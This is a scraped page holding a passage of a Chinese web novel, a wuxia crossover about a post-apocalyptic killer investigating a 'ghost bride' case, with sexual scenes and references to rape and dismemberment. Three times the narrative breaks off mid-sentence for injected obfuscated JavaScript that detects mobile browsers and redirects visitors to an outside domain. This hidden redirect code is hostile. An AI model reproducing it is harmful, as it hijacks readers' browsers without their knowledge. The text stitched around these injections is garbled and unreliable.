l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431025|184905||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
……”
昨夜,畅饮半夜,醉意熏然,开窗透气的陆小凤无意瞟到一对新人消失在街道尽头。
他先是感慨大晚上成婚,真是别有趣味。
但转念一想,不对,就算真这么有雅兴,也不至于非要淋着大雨,去荒山野岭成婚。
陆小凤的轻功在江湖中名气也不算小,只是受瓮城复杂地势影响,足足追了小半个时辰才将将拦住二人。
身着嫁衣的女子头上盖着盖头,脑袋手脚无力低垂。同样一身赤色新郎服的男人扣着女子的腰,对突然出现的不速之客显然恼怒至极。
没等陆小凤开口,几把匕首闪电般向他全身要害袭来。
陆小凤手腕一抬,稳稳夹住所有匕首后,发现上面全都泛着青幽幽的荧光,忙不迭甩掉匕首,借由雨水好好冲洗起手指头。
灵犀一指!
全怪夜色太暗,若是一开始就发现那两撇古怪的胡子,男人早就认出对面碍事的家伙是陆小凤,断然不会多作纠缠。
幸好不算太晚。
他恨恨咬牙,左手在女子唇上一抹,右手用力掐着她的脖颈,甩向陆小凤,动作没有半分迟疑,趁陆小凤接住女子,熟练的利用地形逃之夭夭。
男人逃走前给女子下了剧毒,一柱香后她就会一命呜呼。
可惜人算不如天算,陆小凤行走江湖多年,身上常年备着各种解药。当然像这种少见的剧毒自然不在常备之列,偏偏此次他是在花满楼的小楼中出发。
“我给她服了解药,她醒过来,我问她家在哪里,想送她回家,她无论如何都不愿意,加之中毒后身体虚弱,大半时间都在昏迷,就更问不出什么。”
“春寒料峭,我俩都衣衫单薄,她又不肯跟我下山,我只好将人暂时安置在此处,下山取点保暖衣物被褥。”
“事情就是这样。”陆小凤摊开双手,展示他的清白无辜。
故事听起来没啥漏洞,金流暂且信他,上前查看女子的状况。
前面阿飞还能听懂,后面就糊里糊涂。
“既然得救,为什么不愿意回家?”
陆小凤感叹他的单纯自然,轻轻摇头,“她自然有她的道理。”
金流扫过女子凌乱破损的衣物、皮肤上斑斑点点的青紫,心中了然。
这种事情在丧尸比活人多的残酷末世也很多,女的男的都会遭遇,不过女的遭遇的可能性总比男的大很多。
因为总有无能的男人,认为能够捅穿薄薄的膜,就能够征服了干净、纯白的少女。
他们脑子浸在千百年前的腐臭脏水中,没办法转动,只能用下面思考。
金流甚至见过有人对形貌还算完好的女性丧尸……
还有很多人认为女人是一块纯白手帕,美就美在一眼能看透的纯洁无瑕。要是落下被使用过的痕迹,就不再有分毫价值。
至于她们灵魂的重量,无足轻重。
当然如果是自己弄上的污秽就完全没问题,甚至可以称之为艺术。
曾经有人试图对金流说这话,做这种事,后来他就成了一块一块,可以被分开称量的东西。
那些东西金流嫌脏,但丧尸们可不嫌弃。
“把被褥给我。”
借着盖被子的动作,飞快检查姑娘全身,确定她体征平稳后,金流小狗一样凑近嗅闻。
陆小凤好奇,“有什么味道?”
昨夜的雨太大,什么气味都没留下。
“你看清那人的长相了吗?”金流问。
不被理睬,陆小凤也不气,往火堆里加了几根柴。
“没有。那人头上有黑色面纱遮挡,面纱很薄,被雨水浸湿后紧贴脸上,露出的轮廓僵硬古怪,看着不像活人。”
金流嗤笑,“说不定还真不是活人。毕竟有鬼新娘,怎么能没有鬼新郎。”
“原来你们是在查鬼新娘,我来瓮城也是为此事,不如……”
“嘘。”金流瞪他一眼。
昏睡的姑娘发出悉索动静,众人屏息凝神,看她缓缓睁眼。
看见自己被不认识的人团团围住,刚遭受大难的姑娘立刻瑟缩抱头,尖叫不止。
金流痛苦捂耳朵,让雄性生物全都出去,姑娘交给她安抚。
4. 第四章
破庙不远处有颗参天巨树,树荫浓密,遮天蔽日。
陆小凤站在树下,抬头仰望。
张牙舞爪的树干层层叠叠堆积,身处其下窥不见半分天光。
风吹叶动,几截残留的麻绳随之晃动。
陆小凤脑中灵光一闪,庆幸不已。
之前发现那六具尸体正是被悬挂在此处,昨晚的贼人应该也准备将人带到此处杀害,只是正好被他阻拦。他一无所知的将那姑娘带到此地休憩,真是万幸那贼人没有杀个回马枪。
不过那人挂尸时,是在安心此地风雨不侵,还是在惶恐会天打雷劈呢?
百无聊奈的踹踹裸露树根,好奇心猫一样的抓挠他的五脏六腑。
他用胳膊柺戳戳阿飞,绕着他转圈圈。
“你说金流会怎么劝她?能劝成功吗?昨晚我嘴皮子都要磨烂了,那姑娘除了一句不回去,只知道哭。不过她造此横祸,是该痛哭一回……”
少年老成的剑客眼睛眨也不眨的盯着破庙的大门,耳朵自动屏蔽身旁的絮絮叨叨。
他没什么好奇心,也不懂为什么要劝她。
没死就是好事,没死就该去复仇。
没让他们多等,雨停之际,一红一白两抹身影从幽暗破败中缓缓浮出。
下山路上,陆小凤背着昏迷的姑娘,蹭到金流身边。
她正捏着朵随手摘的小野花往发尾插。
“你到底跟她说了什么?求求你,告诉我吧。”
小小的蓝色花朵拥着硕大的红山茶,稳稳当当的停留在她跃动的辫尾。
金流深吸一口气,笑眯眯的伸出一根手指,在他期盼的眼神中,戳着他的脑门将人推开老远。
“不可以,这是要温柔对待的秘密。”
是温柔的秘密,更是简单的秘密。
只不过是抬手为她整理好凌乱的衣物,低头将她满满当当的环抱,真心实意的告诉她。
“脏男人的勾*八不是烙铁,既然没给你烙得肠穿肚烂,就要忍住恶心,去让他肠穿肚烂。”
“那是男人应该永远铭记的罪孽,不该是女人刻骨铭心的噩梦。”
姑娘多半时间都昏迷着,醒来时也精神不振,恍恍惚惚,以至于三人连她姓甚名谁,家住何处都没问出来。
巧的是,他们下山后找了家医馆,馆中太夫居然认识她。
“虽然服下解药,解了大半毒性,但万姑娘天生体弱,又遭此大劫。唉,一时半会怕是难以恢复,我先抓几副药,好好将养着,等人醒了我再来复诊。”
大夫是个四十多岁的妇人,一眼就认出她是城南万家的小女儿万灵。因她从娘胎里带了病症,自小体弱,大夫时常被请到万家为她诊治,二人算是相熟。
不用金流他们细说,只看万灵身上的衣着和伤痕,大夫瞬间心下了然,怜惜又慎重的答应为她保守秘密。
明白万家严苛而窒息的家风,她主动提议暂时不将万灵送回去,而是留在医馆,由她照料。
“我邕情在瓮城多少也有点名气,你们要是不放心,可以出去打听打听……”
“自然放心放心。”陆小凤笑着摆手。
他们不敢贸然行事,打听到邕大夫人品医品都没得挑,才敢将万灵送来。
忙碌一个上午,几人早就饿得眼冒金星,安顿好万灵后,急忙找地方吃饭。
小二对这位胃口无底的客人已然熟悉,刚坐下不等她喘口气点菜,几样开胃小菜已经摆上桌面。
“姑娘先用着,热菜马上就上!”
金流也不废话,痛快奉上银锭子。
夹一筷子泡春笋,就两口雪白大米饭,再喝口鱼汤,金流眉眼放光,乱蓬蓬的发丝都满足的支棱起来。
陆小凤就算早就见识过,还是不免震惊。
习武之人饭量大正常,但再大也得有个度吧。
对面坐着的少年剑客沉默不语,闷声吃下四五碗饭,他的胃口算正常的大。
刀客姑娘吃的不紧不慢,半点不显慌张狼狈,可是吃的很香,看得人胃口大开,又开,再开,开到忧心她会不会活生生撑死,忧心店里的米面粮油还够不够。
他饶有趣味的看着,时不时惊叹揶揄。
“去哪里了?你吃进去的都去哪了?是不是脚底打孔,流到地上了。”
金流百忙之中抽空白他一眼,又忍不住看看脚底,确认没有流出来浪费后,从容不迫的接着吃。
末世生存准则,有饭吃就要吃到饱死前一秒,因为很可能在饿死前一秒都看不到下一顿。
见金流不搭理他,陆小凤不自讨没趣,也准备吃饭。
拿着筷子的手筷子刚抬起来,就被炽热目光定在半空。
“抢劫?”金流浑身紧绷。
陆小凤哭笑不得,“我只是吃饭。”
阿飞抽走陆小凤手里的筷子,冷冷道:“她没请你。”
语气平静,但陆小凤不知为何听出一种炫耀之感。
见金流的目光越来越危险,他高举双手,挪着凳子后退半步,等二人放松后,又挪着回到桌边。
“好小气,我们可是朋友!”他责备道。
金流疑惑歪头,“谁跟你是朋友?你来抢我生意,不打杀你是看你态度好,当然不可能是朋友。”
“抢生意?”轮到陆小凤疑惑,“谁抢你们生意?你们做的什么生意?抢生意就要打杀?”
吐出一连串问题后,他脑中灵光一闪,头痛扶额。
“等等,你们不是在行侠仗义?”
金流和阿飞对视一眼,恍然大悟道:“你不是做杀手生意?”
确认半路飞出的小凤凰不是来抢生意的后,金流对她友好很多。
包括不限于让他自己点菜跟他们一桌吃饭,自己掏钱跟他们住同一家客栈、给万灵付医药费,还有那狗一样敏锐的鼻子,不用来辨香实在暴遣天物。
陆小凤既想接近心动美人,又想查清“鬼新娘”一案,自然乐得贴钱贴力的被使唤。
只是干活可以,多少也要有点奖励。
他连打几个喷嚏,揉得鼻尖通红,委委屈屈的对金流撒娇。
“至少奖励我一个笑容,我当牛做马才更有力气。”
金流呲牙咧嘴,没等他多看几眼就收回笑意。
“多笑一会儿,我都没看清楚。”
金流摇头,坚定拒绝。
“看不清楚去打水洗洗眼睛。”
回到客栈后,阿飞找小二要了热水,调好温度。明白金流辨香辨得恶心,特意嘱咐小二水里不加任何花里胡哨的花瓣香油。
忙忙碌碌一整天,金流疲倦得很,低头解腰带时,发现蓝衣剑客坐着没走,不由得新奇。
“我脱衣服哦。”她故意甩甩腰带。
阿飞面色不改,坐的笔直,耳朵尖比她发辫上的山茶红。
他一张脸天生毫无血色的苍白,垂眼看人冷傲孤僻,抬眼望人却纯真无辜,真是可怜又可爱。
见他不说话,金流转着圈研究起来。
直看的人坐立不安,才慢条斯理开口。
“你今天有点怪怪的。”她戳戳阿飞高高扎起,显得少年气十足的马尾。
“头发有些不一样,衣服也不同。”
阿飞原本只有几套朴素黑衣,金流有银子后也没有亏待他,给他置办了几身好衣服。
剑客自小简朴,衣服太过精贵,他适应不来,日常还是穿着那些半旧黑衣,今晚却突然换了新衣。
金流按着他的肩膀,从身后探头笑着看他,语气肯定。
“你打扮过了,怪好看的。”
扯着他的发尾,骚弄剑客卷翘浓密的睫毛,看它不安颤动。
金流笃定道:“突然打扮,肯定是想勾引我吧。”
不是问句,所以阿飞没法反驳。
他偏过头,躲开扰乱思绪的骚扰,嘴唇抿紧又松开,松开又抿紧。
“你要让他一起吗?”
金流傻眼,“让谁一起?”
阿飞冷哼一声,“那只花里胡哨的陆小凤。”
他知道她不是个容易打动的人。
之前他不明白金流为什么会同意他跟着她,还对他那么好。直到那时她说,是因为他好看。
阿飞不明白他哪里好看,但既然她接受他是因为好看,那这几天那个花里胡哨的鸟能跟着她,是不是也因为好看?
虽然并不觉得那男人哪里好看,但他听人说过四条眉毛陆小凤很受女子欢迎。
所以她也喜欢陆小凤?她也会让他跟着她,也会像对自己一样,对他这样好吗?
少年喉结滚动,话没出口眼尾就红了。
“我比他更好看、更年轻、更听话,所以别喜欢他。”
话似乎没说完,金流耐心等待。
他鼓起勇气抓住她的手,“别喜欢他,好吗?”
金流噗呲一声笑出来。
阿飞被笑得整个耳朵通红,见她笑得花枝乱颤,一边羞涩,一边还要伸手扶着她,怕她倒在地上。
金流笑累了,板着脸正要说话,唇瓣就贴在了虎牙上。
这就是她不愿意笑太久的原因。
收拾好不听话的虎牙,金流担心洗澡水凉了,先进屏风后脱衣洗澡。
阿飞想走,被她喊住,“不是有屏风,你就在外面听我说话。”
阿飞背身,耳朵里满是水波涌动的声音,他握紧拳头,指甲陷入掌心。
“我不喜欢陆小凤。”
他听见金流这样说,没来及高兴,又被浇了一瓢冷水。
“也不是完全不喜欢,做朋友或许还不错,做情人嘛……”
暖融融的清水包裹住身体,金流歪靠着浴桶,舒服的喟叹。
“我答应过一个人,决不能跟陆小凤这样的人做情人。”
“那人是谁?你为什么要听他的话?”阿飞不解。
“为什么呀……”金流迷迷糊糊的闭眼,使劲回想那段早已模糊的记忆。
应该是在她还小的时候,遇见过一个男人。她俩一起在末世中挣扎求生,后来他死了,为
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431026|184905||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了救她。
他说的最后一句话似乎是 ……
“一定、一定不要和那些不干净的臭男人在一起。”
怎么说也欠人家一条命,金流自然不能不答应。
所以,她只要干净的男人。
至于陆小凤,自然不在她能笑纳的范围,不过金流很是好奇,“我听到那些男人叫他浪子,语气不像是唾弃,更像夸奖。所以浪子其实是很好的意思吗?”
“当然不是!”阿飞语气鄙夷,“无法掌控欲望,完全丧失忠诚,他做的一切只会让别人和未来的自己痛苦。”
金流,“我做的事也会让你痛苦吗?”
阿飞矢口否认,“当然不会!”
说完又敛眉,“是我自己选的,就算痛苦我也甘愿。”
金流从浴桶中起身,擦净肌肤上的水珠,穿上寝衣,走出屏风,坐在桌边,桌上放着一杯凉好的茶。
茶水苦涩,她不是很习惯,但还是一饮而尽。
“那你现在,”金流撑着下巴,笑盈盈的玩弄发辫,“要尝尝痛苦的滋味吗?”
阿飞背身呆站,久到金流依靠在床上,困倦的打了个哈欠,他终于迈着僵硬的步子,吹灭昏黄烛光。
半合拢的床帐荡漾出层层花纹,金流推着他的肩倒下去,笑得畅快。
“好孩子。”
阿飞难耐皱眉,细密汗珠滚落,潮湿掌心锁住她的手腕。
“别叫我孩子。”
他不要做孩子,他早已长大。
金流垂首,海藻般的长发散落,铸成一间小小囚室,困住年轻剑客。
她扼住剑客濒死般伸展的脖子,感受到他不停的在颤在抖,她用手背拍拍他的脸,颇有些下流意味。
“好呀,乖弟弟。”
……
瓮城几乎家家制香,三月初开坛时,整座城的人如同失足跌进酒坛的老鼠,香得人晕晕乎乎头重脚轻。
虽说各家紫烟香有好有坏,香味也有细微差别。但满城香气混杂,加之匕首柄上的香气浅淡,三人又不是专业制香,将几十家排除为十几家后,只能对着匕首抓耳挠腮。
好在万灵在邕大夫的细心照料下,身体恢复的很好。
三人的救命之恩,她感激涕零,尤其感谢没将她送回万家。
“没人有比我更了解万家。”她苦笑解释,“今日之前,我从没走出过万家后院,不是不能,是不敢。”
“因为我见过犯禁的下场,万家原本有五个女儿,如今只剩一个最乖巧的我。”
陆小凤四处招花惹草,见惯了江湖女子的无拘无束,面对年纪轻轻就被折磨的死气沉沉的“良家女子”,除了叹息别无他法。
金流不在意她回不回去,只想赶紧完成任务拿到珍珠。
“你有没有看清那人的模样?”
万灵摇头,“没有。”
没等金流遗憾,又开口道:“但我有摸到他面纱下的脸,很硬,是面具。”
说到这里,她若有所思的嗅闻着指尖,几日过去,自然不可能留下什么味道,但她闻得很认真,仿佛真的从上面闻到了味道。
含着尘灰的雨水冲刷下,一点点的香味,一点点的苦味,有些腐败……
她在哪里闻到过,有些类似的味道……
每年三月初五,瓮城中会举办香神会。
所有制香人家,在此之前必须全部开坛,等到香神会后才能正式开售紫烟香。
香神会当天,不论男女老少都要沐浴三遍,以熏染自家成香的香纱覆面,身着鲜艳新衫,头戴时令鲜花,身上用寓意黄金白银的黄白二色丝线,缝缀满绢布做成的紫烟花。
上午在家中以舞娱香神,午后方可出门游玩。
游玩时彼此以香比拼,香不如人者需将身上的丝线绢花拆下,系在赢家身上。
天色将暗未暗时,身上丝线绢花最多的人成为香神主祭,在瓮城最古老的百年紫烟花树下,焚烧自家制成的香祭神。
“成为香神主祭不仅代表荣誉,更代表他们家的香在这一年将会千金难求。”
“千金?制香这么赚钱!”
即便蒙着面也能感受到金流的震惊,她辛辛苦苦做一单才赚个几百两,真是低估了这里人的有钱程度,亏她报价的时候还心虚的不行。
万灵同样蒙着面纱,拉着金流在人流中穿梭,人群拥拥挤挤,两个男人才出门不久就被挤散,现在只能找个人少的地,等他们找来。
鼻尖盈满紫烟香气,身前缀满娇艳花朵,乱花迷人眼,今日的瓮城淹没在花海之中,想要大海捞针捞出两个男人,实在困难。
好容易挤出人潮,万灵回头一看,手里只剩一点衣角,人早不知道丢在哪里。
她无可奈何大的捂着心口,头晕眼花,急促喘/息,频繁吞吐交换的空气之中突然混杂进一丝香气。
呼吸一窒,心脏紧缩,她下意识惶恐不安的抬头,扭头搜索那一缕香气的来源。
在遍地相似着装的人们中,毫无理由的锁定了一个身影。
5. 第五章
没人知道万灵是怎样拖着虚弱身体跟上去的,就连万灵自己也不清楚。
一切如同隔着云雾,恍恍惚惚,摇摆不定。
多数时间,她与那道身影总是不远不近的隔着三两人,挤得太厉害时,她偶尔能够到那人垂在身侧的手。
万灵很想抓住他、质问他、唾弃他、伤害他,怨恨怒火和恐惧战栗同时流窜在体内,随时准备喷薄而出。
可当一切冲到顶点,她反而冷静下来。
金流不在,阿飞不在,陆小凤不在,只凭满腔怒火烧不死仇人,贸然行事断不可取。
那人身穿紫衣,黑纱蒙面,在城中绕来绕去,不断与人斗香,从无败绩,身上的丝线和绢花多得沉沉坠地。
似乎是确信赢得的彩头足够自己成为香神主祭,那人不再流连人群之中,脚步一转,绕过路边一排排只剩绿叶的紫烟花树,走出主街,逐渐深入寂静小巷。
瓮城中街巷纵横,路况复杂。
万灵虽说是瓮城人,但从出生开始就被困在后院一方窄小天地,根本没有出来的机会,跟着那人绕了几圈后,她举头四望,完全分不清东南西北。
日色逐渐昏沉,幽深狭长的小巷被两侧的黑影吞噬。
她立在巷口,犹豫不决。
跟进去很可能会遇见危险,可机会难得,难道要眼睁睁的看他离开。
不是她不信任金流他们,她只是害怕。
怕被耽搁的时间里,会有无辜女子像她一样受到伤害,遭到欺辱。毕竟不是每个人都像她那样幸运,被人救下,被人开解,被人照料。
心中千回百转,难以抉择,脚步却只顿了一下,就自顾自的放轻向前。
巷子两侧的墙修的不算高,墙后各种一排高高的紫烟花树,树荫浓密如云,圈出一方小天地。
那人走了一会儿,突然停下来,万灵没有丝毫防备,被斜阳拉长的影子在那人脚边冒出头。
被发现了。
万灵颤抖着,后退半步。
那人却没有回头,而是俯身捡起一片落叶,捧在手心细细端详,又举起来碰碰鼻尖。
做完这些后,才扭头看向万灵,见她停着不动,就侧身往墙上一靠,把手中的叶子递给她。
面纱掩盖了惊惧神色,万灵小幅度挪动身子,战战兢兢接下叶片。
她想装作轻松的笑,开口时嗓音却颤得不成样子。
也挺好,省得捏着嗓子伪装了。
“我是想……把这个给你。”
收好叶片,她一边说话一边从肩上取下丝线绢花递过去,“紫烟花香浓而辛烈,先清甜后苦涩。寻常人家制香,大都想方设法增其香浓甜蜜,降其辛烈苦涩,这样制成的香好闻却失了紫烟花原本的风味。”
她鼓起勇气凑近一步,深深吸气,品味那夜后刻印在她骨髓里的气味。
无数个斜倚栏杆的日子,万家女孩唯一的慰藉就是那颗紫烟花树。
万灵从没制过香,却比谁都更了解紫烟花。
有时她也想,若是自己能够制香,会怎样诠释花神气息。可那是男人才能有的能力,女人污秽,只会冒犯香神。
真是世事无常,终于有人制出了她心中真正的花神气息,这股香味却将永远伴随痛苦回忆而存在。
“你的香与他们都不一样,是真正紫烟花的味道。”
听完她说的话,那人隔着面纱审视万灵良久。
措不及防伸出手,吓得万灵重重一抖。
那人顿了顿,小心避开万灵的手指,接过那朵浅紫色绢花,像刚才那样,先捧在手心看,然后捏起来碰碰鼻尖。
趁此机会,万灵转身飞奔,试图逃离。
只跑了几步,一只凉而软的手落在肩头,轻飘飘的没用什么劲,却压得她动弹不得。
“你、懂、我、香。”
短短几个字,一字一顿,嘶哑低沉,难辨男女。
万灵第一次听见他的声音,就算是之前那次……他也发出过任何声音。
人怎么能发出这种动静,他也在伪装!
“我……我不知道。”
万灵几乎哭出声,肢体接触的瞬间,一切噩梦汹涌扑来,她再也没法冷静思考。
肩上的手微微用力,生死之间,一声悠长的钟声响起。
残阳尽净,花神祭祀开始。
身后那人满身丝线绢花,毫无疑问就是今年的花神主祭。
那人犹豫片刻,似乎觉得花神祭祀更重要,便放过眼前瑟瑟发抖的猎物,飞快消失在巷口。
只留下一句,“再会。”
万灵颤巍巍扶着墙滑坐在地,脑子里一片空白,只有钟声回响。
不知过了多久,面前落下晃动白影,她抬头望去。
天昏地暗,辫尾簪着红花的姑娘咬着糖葫芦,弯腰好奇的看她一身狼狈。
她伸出手,想要抓住她的裙摆。
金流飞快咽下最后一口,抢先把黏糊糊的木签子放到她手心。
“我吃完了,你要吃自己去买。”
万灵先是气笑,很快又被气哭,用力把签字扔到一边。
“拉我起来!”
“哦。”
金流老老实实把人扶起,还顺手拍拍灰,灰还没拍干净,平时蔫巴巴的小姑娘不知哪来的气力,拽着她就往前跑。
“喂喂喂,干嘛干嘛呀。”
“没时间解释了,先跟我走!”
花神祭祀已经开始,那人一定是今年的花神主祭,金流现在必须赶过去,不能让他这种东西完成祭祀,玷污花神。
金流另一只自由的手拎着她的衣领,带着人在空中漫步。
“再着急也先别急,还有个人没带上。”
万灵高兴道:“是的,带上他们更好。”
万一对方想跑,陆小凤和阿飞还能分头拦截。
“没有他们,只有他。”
金流晃晃食指,从巷子边上的阴影里拉出一个人。
一个高大冷硬,冰雕雪铸般的成熟男人。
“介绍一下,中原一点红,据说是鼎鼎大名的杀手前辈,目前是我的俘虏。”
男人狼一样的浅灰色眼睛眨也不眨的注视着得意洋洋的女人,听到俘虏二字眉头紧锁,握着剑的手背青筋隆起,显然愤怒到极致。
可他没有反驳,只是沉默的、长久的、隐忍的注视着她。
万灵忍不住往后缩,她很害怕一点红。
和阿飞、陆小凤不一样,他是个浑身散发危险气息的男人。
金流没察觉到她的异常,松开一点红,双手叉腰,长而宽的袖子飘飘荡荡。
她冲万灵扬扬下巴,“不是有急事?”
万灵骤然回神,急哄哄的拉着她继续往前跑。
此时,街上大部分人已经聚拢到紫烟花王树下,路上不再拥挤,给了万灵机会讲述刚才发生的事。
听见她发现歹人,金流喜不自胜,“还是你靠谱,今晚抓到那人我请你吃饭。”
万灵受宠若惊,一路上都忍不住唇角上扬。
那不是普通的一顿饭,那可是金流请客的一顿饭。
要知道除了阿飞,还没有人能花金流一个铜板。
一点红沉默跟在她们身后,从二人的对话中捋出他不知道的信息。
虽然他不说话,但还是压迫感满满,万灵凑到金流耳边,小声发问:“怎么片刻不见就抓了个俘虏?”
金流哈哈一笑,“我给你讲,简直是天助我也……”
身后的一点红掀掀眼片,抬手捂住还在渗血的伤口。
万灵以为两人是被人流冲散,实则不然。
金流原本跟着她一路往前挤,很快却被路边的小摊吸引走目光。
琳琅满目的新奇玩意儿,色香味俱全的糕点小吃,末世土老冒哪见过此番阵仗,主动松开手,沉迷其中流连忘返。
从街头吃到街尾,最后啃根糖葫芦消消食,饱餐之后,金流这才想起出门时好像是四个人。
她找了个人少的角落,乖巧的蹲着等人来接她,等着等着就被一个男人吸引走目光。
他没有阿飞那样俊美到无法忽略的五官,但胜在身材和气质绝佳。
若说少年是酸酸甜甜的脆果子,那成熟男人就是熟透的果子,任他果皮裹得再紧,香气却压抑不住的四溢,咬一口汁水四溢,甜的齁嗓子。
金流原本只想看看,可那个男人竟然穿过其他人,直直走向她,垂着冷峻的眼睛看她,随后迈步往偏僻之地走去。
金流一脸懵,等人走远后骤然回神。
“他在勾引我!”
她说的信誓旦旦,万灵瞪圆眼睛,看看一点红,又看看金流,觉得她说的也不无道理。
虽然行为大胆,但情之所至,难以遏制,人之常情。
一点红手上力道重的几乎要捏碎剑柄,实在忍不下去,冷声道:“并不是!”
金流摆手,“别理他,他害羞。”
一点红:“……”
金流向来高攻低防,哪里抗得住如此诱惑,脚不沾地飘着跟了过去。
参加香神会的人都聚在城中,城外空空荡荡,绿意葱茏中,只有黑衣劲装的男人背身等待。
脚步声渐近,他回头,没有急着拔剑,只看着来人背上赤红的刀鞘。
江湖中,用刀的多是男人,尤其是这样一把又沉又重的长刀。
他并不轻视女人,甚至对敢于用刀闯荡江湖的女人多几分敬重,因此格外认真的自报家门。
“中原一点红,一个杀手,收钱办事……”
“你勾引我。”
未说完的话语梗在喉间,一点红怀疑是他听错,因为对面的刀客认真无比,毫无戏谑之色。
“我是来……”
“我接受。”金流坦然面对弱点,享受弱点。
对面听不懂人话,一点红不再多言,冷冰冰拔剑,凌冽剑意铺面而来。
“拔刀。”
金流歪头,双手抱胸,长眉高挑。
“不是我看不起你,我拔刀你会死的。”
话音未落,剑气袭来。
一点红的剑并不华丽,只是快、准、狠,让人无处防备。
金流欣赏他格外省力的打法,末世里丧尸比人多,招式再花哨,浪费完力气活也只能在丧尸群里等死。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431027|184905||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>不过比快准狠,没有谁能比过她。
她脚下不动,抬手,快得近乎无形,还黏着糖霜的纤细竹签点在剑身,乍然施力,长剑从一点红手中脱出,她伸手一接。
指腹滑过冰寒剑身,收剑一抖,剑光闪烁。
“不错的剑。”
她不吝赞美,同时反身刺去。
一点寒芒微动,似长空闪电,彗星袭月,比一点红更快、更准、更狠。
他心有所感,然则逃无可逃,躲无可躲,甚至剑拔出后,伤处还没传来痛感。
“如何?我刚才说的话不假吧。”
几滴血珠滚落在地,金流抬脚熟练碾去痕迹,“话说起来有点装,不过姐姐这么厉害,装一装又如何。”
没什么可狡辩,没什么可遗憾,更没什么可恼怒。
一点红屈膝半跪,捂着腹部的伤口,紧盯着握剑的刀客。
杀手杀人,自然会被杀。
他不愿死,却不惧死。
一点红不会求饶,也不愿闭眼,他直勾勾看着那柄染过无数他人鲜血的剑,看着那柄即将染上自己鲜血的剑。
他要看着末路来临,记住强者的面容。
金流刚开始是准备杀了了事,虽然她挺喜欢这种类型。
不过好男人就像好果子,一个落了还有另一个,挑挑拣拣,总能尝到合心意的。
何况她可不喜欢别人拿东西指着她,看着就克制不住想杀人。
剑使着不太顺手,比比划划半天,金流想要学习一点红,直接捅喉咙,创口小而致命,捅得好了出血少,不会弄得满地血,引来丧尸潮。
不对,差点又忘了,现在没有丧尸。
明明要动手杀人的是她,不过习惯使然,她脑子里过了遍二人的走马灯,短暂相识,只言片语……
不对,刚才好像听到什么杀手之类的话。
长剑被随手插在地里,金流蹲下,目光与一点红平视。
“我没听错的话,你是杀手?”
虽不知她为何有此问,但败者没有保持沉默的权力。
一点红重复自己的开场白,“中原一点红,一个杀手,有人花钱让我来杀你。”
“你真是杀手,前辈啊前辈!”金流激动不已,扯过他捂着伤口的手握着甩,“你当杀手多久了?做过哪些生意?收益如何?”
连珠炮般的问题炸得一点红无所适从,不知从哪句开始回答。
听她的意思也是杀手,既然是杀手,为何不知道中原一点红的名号。
金流不知道她摧毁了第一杀手的骄傲,还亲亲热热拉着他的手,准备学点做杀手的经验。
她和阿飞两个人都对杀手事业一头雾水,买主找不到,定价不合适,手法不干脆,做事很拖拉。
如此下去还怎么吃香喝辣,怎么实现珍珠自由!
面对送上门的前辈,不抓住机会学习就是傻子。
可惜厉害的杀手前辈,还想维持他的骄傲与尊严,不愿成为俘虏。
对此金流嗤之以鼻,“活着才能谈尊严,等我杀了你,把你的尸体扒光倒挂在城墙上,任人参观品评,岂不是更没尊严。”
一点红脸色惨白与她对视,“你不……”
金流面色不改:“我绝对会。”
“所以我俘虏了他。”
见一点红面色冷若冰霜,金流啧一声,改口道:“所以我们达成了合作意向。我引他为前辈,学习如何成为顶尖杀手,学成后,释放俘虏,还他自由。”
万灵对她俘虏一个杀手没什么意见,现在首当其冲的抓歹徒,毕竟前面不远就是香神会主祭场。
一颗五人合抱,才能勉强围拢的紫烟花树伞盖般盛开,将瓮城大半人口罩在阴影之中。
模模糊糊的暗色中,一点火光跃动。
钟声、鼓乐声逐渐清晰,香神祭祀早已开始。
无数点燃的紫烟香围着祭台,丝丝缕缕的白烟细线般紧密交织,如同从天而降的大网,网住祭台上紫衣主祭。
舞乐娱神,焚香祭神,埋香送神。
金流她们挤到台前时,祭祀已经到最后一步。
香神主祭屈身跪伏,以最谦卑姿态收集香灰,装入香坛中埋入地下。
“就是他。”万灵强压恐惧与兴奋,“我永远不会忘记他身上的味道。”
金流不怀疑不迟疑,左看右看,两指夹出万灵塞在腰间的叶子,甩腕而出。
叶片如离弦之箭,直向台上香神主祭而去。
那人慢半拍的抬头,叶片划破覆面轻纱,轻纱落地,露出掩藏其下的稚嫩面容。
见此情形,台下跪伏的人无不惊呼。
“女的!”
“怎么会是女人!”
“亵渎神灵,女人祭祀,天理不容,天理不容啊!”
议论、责备、辱骂声沸反盈天,数不清的蒙面人鬼影般晃动,将台上绝对不该出现的错误围困其中。
万灵同样满脸诧异,“怎么会是个小女孩?”
金流若无其事的收回手,拧拧发尾,摸摸鼻尖,找补道:“也许是你当时头脑不清醒,错把那人认成了男人,实际她就是个女孩。”
6. 第六章
那人当然不可能是眼前的女孩,亲身经历过的万灵比谁都肯定。
不过此时此刻,最重要的不是残害六名女子,弄出鬼新娘事件的歹人可能是个女孩,而是香神主祭怎么能是个女孩。
祭台下,片刻喧闹后反而是长久的寂静。
